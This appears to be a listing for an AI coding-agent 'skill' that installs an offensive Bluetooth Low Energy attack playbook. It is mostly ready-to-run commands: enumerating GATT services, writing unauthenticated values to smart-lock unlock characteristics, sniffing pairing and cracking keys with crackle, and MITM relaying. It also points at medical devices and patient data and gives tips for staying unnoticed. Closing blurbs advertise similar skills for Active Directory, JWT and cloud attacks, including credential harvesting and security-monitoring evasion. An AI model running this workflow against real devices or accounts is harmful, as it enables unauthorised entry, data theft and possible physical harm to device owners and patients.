offensive-bluetooth-ble
# ClaudeWave **Offensive-bluetooth-ble** is a security testing methodology for attacking Bluetooth Low Energy devices through GATT enumeration, unauthenticated characteristic manipulation, pairing downgrade attacks, and key extraction. Use this skill when assessing IoT devices, smart locks, fitness trackers, medical devices, and other BLE-enabled systems for authentication bypass and privilege escalation vulnerabilities.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-bluetooth-ble && cp -r /tmp/offensive-bluetooth-ble/Skills/wireless/offensive-bluetooth-ble ~/.claude/skills/offensive-bluetooth-bleSKILL.md
# Bluetooth Low Energy (BLE) Attacks
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
## Quick Workflow
1. Discover and enumerate the device's GATT tree
2. Test every characteristic for read/write/notify without authentication
3. Inspect pairing method — Just Works = no MITM protection
4. If Just Works, MITM the pairing to capture / inject
5. Reverse the companion app for proprietary command formats
---
## Discovery + GATT Enumeration
```bash
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
```
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
## Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
```bash
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
```
Common findings on consumer BLE devices:
- Door locks: `unlock` characteristic accepts any write (no auth)
- Smart bulbs: brightness/color writeable from any peer
- Wearables: PIN/lock-state readable
- BLE beacons: configurable from any peer (rebrand attacks)
## Pairing Method Identification
```bash
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
```
| Method | Security | Attack |
|---|---|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
**LE Legacy Pairing** uses TK derivation that's crackable from a captured pairing exchange. **LE Secure Connections** (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
## Sniffing the Pairing Exchange
```bash
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
```
For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
## Active MITM During Pairing
```bash
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
```
If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
## Companion App Reverse Engineering
For vendor-defined characteristics, the format is in the app:
```bash
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
```
Hand off to `offensive-mobile` for deeper companion analysis.
## Specific Device Classes
### Smart Locks
- Test `unlock` characteristic for unauth write
- Test if rolling token is replayable (capture-and-replay within window)
- Check for hardcoded LTK in firmware (chip-off + binary analysis — see `offensive-iot`)
### Cars (BLE Phone-as-Key)
- Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
- Pairing-state machine flaws
### Medical Devices
- Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
- Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)
### Beacons (iBeacon, Eddystone)
- Often configurable with default password (`0000`, `12345678`, vendor-specific)
- Rebrand for tracking-confusion or counter-marketing
## Detection Considerations
- BLE has no native intrusion detection comparable to Wi-Fi WIDS
- Vendor cloud may detect anomalous characteristic patterns (rare)
- Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion
## Engagement Cheatsheet
```bash
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk
```
---
## Key References
- Sniffle: github.com/nccgroup/Sniffle
- crackle: github.com/mikeryan/crackle
- bettercap BLE module: bettercap.org
- Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP
- "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)
- Source:Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps.
Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture.